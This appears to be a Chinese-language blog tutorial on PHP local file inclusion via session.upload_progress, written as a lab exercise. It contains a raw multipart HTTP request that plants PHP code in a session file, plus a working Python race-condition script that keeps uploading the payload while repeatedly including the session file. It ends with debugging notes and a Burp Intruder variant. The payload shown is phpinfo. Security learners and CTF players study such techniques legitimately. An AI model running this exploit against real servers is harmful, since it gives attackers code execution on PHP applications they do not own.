利用session.upload_progress执行文件包含

1.session.upload_progress的作用:

session.upload_progress最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。

默认情况下,session.upload_progress是开启的,我们发送一下以下数据包,可见,我在上传文件的同时,POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,其值为。(PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name)只要上传包里带上这个键,PHP就会自动启用Session,又因为我在Cookie中设置了PHPSESSID=oupeng,所以Session文件将会自动创建。并且会生成由PHP_SESSION_UPLOAD_PROGRESS和<?php phpinfo(); ?>组成的文件内容。

POST /xss_location/include/session_upload.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA
Cookie: PHPSESSID=oupeng
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/session_upload.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo(); ?>
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

<?php phpinfo(); ?>aaaaaaaaaaaaa
------WebKitFormBoundaryGmgITM0pPCAAzrsA--

但是由于有session.upload_progress.cleanup的存在(默认是开启的),session会在被上传之后自动清除。

2.竞争

为了解决这个问题,我们则需要竞争,在文件被清除前完成利用。所以我用到了一个python脚本。

python 复制代码
import io
import requests
import threading

sessid = 'oupeng'


def t1(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            'http://127.0.0.1/include/demo.php',
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
            files={'file': ('a.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def t2(session):
    while True:
        response = session.get(f'http://127.0.0.1/include/1.php?file=C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid}'))
        print(response.text)


with requests.session() as session:
    t1 = threading.Thread(target=t1, args=(session,))
    t1.daemon = True
    t1.start()

    t2(session)

按理来说这个脚本是没什么问题的。

代码编写遇到的问题:
第一个问题:编码问题
python 复制代码
 UnicodeEncodeError: 'gbk' codec can't encode character '\xe4' in position 82201: illegal multibyte sequence,

就是在这里的gbk编码可能无法对某些unicode字符进行编码导致报错,所以我在t2进程的response对象设置为utf-8编码

但是发现还是有编码问题:

python 复制代码
nicode 编码错误: 'gbk' codec can't encode character '\xe4' in position 82145: illegal multibyte sequence

所以我直接导入了一个sys.stdout模块,这个模块作用就是标准输出,我写的就是标准输出使用utf-8

第二个问题:找不到临时文件

就是在我脚本上面写的路径找不到临时文件

python 复制代码
<br />
<b>Warning</b>:  include(C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_oupeng): failed to open stream: No such file or directory in <b>C:\Study\phpstudy\phpstudy_pro\WWW\include\1.php</b> on line <b>2</b><br />
<br />

不知道是哪一步出了问题,所以我在t1进程打印一下服务器的响应内容,运行后返回的就是200,没有问题。

python 复制代码
print(response.text)

然后我想起来php.ini配置文件里面的upload_tmp_dir我配置的是在windows/temp下面,不知道是否需要改成脚本的路径,所以我尝试改了后重新运行。

python 复制代码
upload_tmp_dir = "C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp"

最后是包含成功了。

竞争的第二种方法:

除了用脚本竞争,也可以用burpsuite同时开两个intruder进程,一个进程一直上传文件,一个进程用作包含文件,最后也可以完成文件包含。

这是包含的进程

这是上传的进程

可以发现包含成功了。

相关推荐
一路向北_.2 个月前
ctfshow文件包含web78~81
web安全·文件包含·php伪协议
什么鬼昵称3 个月前
文件包含漏洞
java·安全·servlet·文件包含
只鱼_L73 个月前
【文件包含】——日志文件注入
安全·php·文件包含
板栗妖怪4 个月前
文件包含之session.upload_progress的使用
学习·安全·渗透·文件包含
板栗妖怪4 个月前
文件包含所用协议实战
安全·php·渗透·文件包含
补天阁10 个月前
CTFshow web(文件上传158-161)
前端·web安全·文件上传·文件包含·命令执行
Ryongao10 个月前
文件包含漏洞
网络安全·文件上传·文件包含
Jay 171 年前
PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp
web安全·php·ctf·文件上传·文件包含
Hillain1 年前
[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化
安全·web安全·php·ctf·文件包含·反序列化·伪协议